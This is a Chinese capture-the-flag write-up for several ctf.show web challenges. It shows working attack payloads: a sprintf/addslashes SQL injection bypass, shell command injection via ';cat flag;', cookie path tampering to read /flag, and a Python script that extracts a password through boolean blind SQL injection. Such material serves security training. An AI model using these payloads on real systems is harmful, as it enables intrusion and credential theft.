给她
打开环境
以为是SQL注入,尝试输入SQL语句/?name=asd',发现被转义了
题目是给她,和git很相似,使用dirsearch扫一扫
dirsearch -u https://ffc0949e-cfc8-48c6-9e8e-229c5a937943.challenge.ctf.show/
发现git泄露,使用GITHACK工具
python2 GitHack.py https://ffc0949e-cfc8-48c6-9e8e-229c5a937943.challenge.ctf.show/git/
扫到一个hit.php
<?php
$pass=sprintf("and pass='%s'",addslashes($_GET['pass']));
$sql=sprintf("select * from user where name='%s' $pass",addslashes($_GET['name']));
?>
关于sprintf函数:
php sprintf 漏洞,解析php sprintf函数漏洞-CSDN博客
sprintf
函数使用switch case
对15种类型做了匹配,包括%s、%d、%u…但如果在15种类型之外就会直接break。
当我们输入%\
或%1$\
时,sprintf
会把反斜杠当做格式化字符串的类型,但他们并不在15种类型之中,就会未经任何处理而被替换为空
addslashes()函数:
addslashes() 函数在指定的预定义字符前添加反斜杠。这些字符是单引号(")、双引号(“”)、反斜线(\\)与NUL(NULL字符)
我们还可以看到addslashes()函数进行了过滤,所以我们构造绕过
?name=1&pass=%1$' or 1=1--+
他说There's nothing here,查看一下源代码
我们之间访问/flag,没什么用,抓包看一看
在cookie里发现了file,讲file的值进行16进制转换
发现它访问的是flag.txt,但是flag在/flag里,我们构造/flag的16进制
2f666c6167
修改file的值为2f666c6167,得到flag
签到题
https://www.cnblogs.com/dirt2/p/5991033.html
打开得到源码
<?php
if(isset($_GET['url'])){
system("curl https://".$_GET['url'].".ctf.show");
}else{
show_source(__FILE__);
}
?>
我们使用分号,执行多个命令来进行绕过
/?url=;ls;
/?url=;cat flag;
假赛生
PHP: preg_replace_callback - Manual
提示:register.php login.php 大佬们别扫了
打开环境,得到源码
<?php
session_start();
include('config.php');
if(empty($_SESSION['name'])){
show_source("index.php");
}else{
$name=$_SESSION['name'];
$sql='select pass from user where name="'.$name.'"';
echo $sql."<br />";
system('4rfvbgt56yhn.sh');
$query=mysqli_query($conn,$sql);
$result=mysqli_fetch_assoc($query);
if($name==='admin'){
echo "admin!!!!!"."<br />";
if(isset($_GET['c'])){
preg_replace_callback("/\w\W*/",function(){die("not allowed!");},$_GET['c'],1);
echo $flag;
}else{
echo "you not admin";
}
}
}
?>
简单审计一下,大概意思就是需要$name=admin,并且还要通过get传参c,且要绕过正则表达式\w和\W
\w 匹配包括下划线的任何单词字符。等价于“[A-Za-z0-9_]"。
\W 匹配任何非单词字符。等价于“[^A-Za-z0-9_]"。
[\s]表示,只要出现空白就匹配
[\S]表示,非空白就匹配
(这儿我们使用空格绕过就行了)
注意有两个界面register.php和login.php
我们进入register.php注册一下admin/123
发现被屏蔽了,空格绕过就行(sql注入特点:当最后为空格时会过滤掉空格。)admin /123
注册成功,去登录界面登录admin/123
登录成功,这儿我们需要进行绕过c,我们不输入值即可绕过
萌新记忆 (还不是很明白)
打开环境,查看源代码也没有看到什么有用的信息,抓包看一看,也没发现,扫一扫后台
扫到admin界面,访问
进入了一个登录界面
输入admin/123看一下
提示密码错误,输入admin'/123
用户名/密码错误,猜测用户名就是admin,抓包看一看
发现POST两个参数,u&p
发现SQL注入漏洞,FUZZ一下,发现=,or,union,select,insert,update等敏感字符均被过滤了,但是,没有过滤过滤关键的’,因为and,or都过滤了,我们可以使用||来代替or来实现一个bool的盲注。
u='||'a'<'b'||'&p=1
这儿是因为’a’<'b’始终成立所以它默认我们的账号是正确的,接着构造
u='||'a'>'b'||'&p=1
发现了第三种回显,这儿不明白这个什么意思,看大佬们的WP总结了一下
确定存在admin用户,接下来我们要去才p的长度
u='||length(p)<1||'&p=1
u='||length(p)<2||'&p=1
u='||length(p)<3||'&p=1
.....
u='||length(p)<17||'&p=1
最后确定长度为17
接下来直接用脚本爆密码
import requests
import re
# 目标URL,用于发送POST请求
url = 'http://cfa5d41a-3048-4463-84c7-b13d2d9fb4d7.challenge.ctf.show/admin/checklogin.php'
# 初始化用于保存字母的列表
pp = []
# 初始化保存flag的字符串
flag = ''
# 生成字母列表,包含a到z的小写字母
for i in range(97, 123):
pp.append(chr(i))
# 尝试破解的字符串的最大长度,这里假设为17
for i in range(1, 18):
for j in range(len(pp)):
# 构造SQL注入payload,猜测字符串的第i个字符
payload = "'||substr(p,{},1)<'{}".format(i, pp[j])
# 构造POST请求的数据,其中'u'是注入点,'p'是固定值
data = {
'u': payload,
'p': 1
}
# 发送POST请求
res = requests.post(url=url, data=data)
# 判断返回的响应是否为“密码错误”,以确定当前猜测字符是否正确
if "密码错误" == res.text:
# 如果当前字符猜测正确,将其添加到flag中
flag += pp[j - 1]
print(flag)
break
得到密码 cptbtptpbcptdtptp,登录拿到flag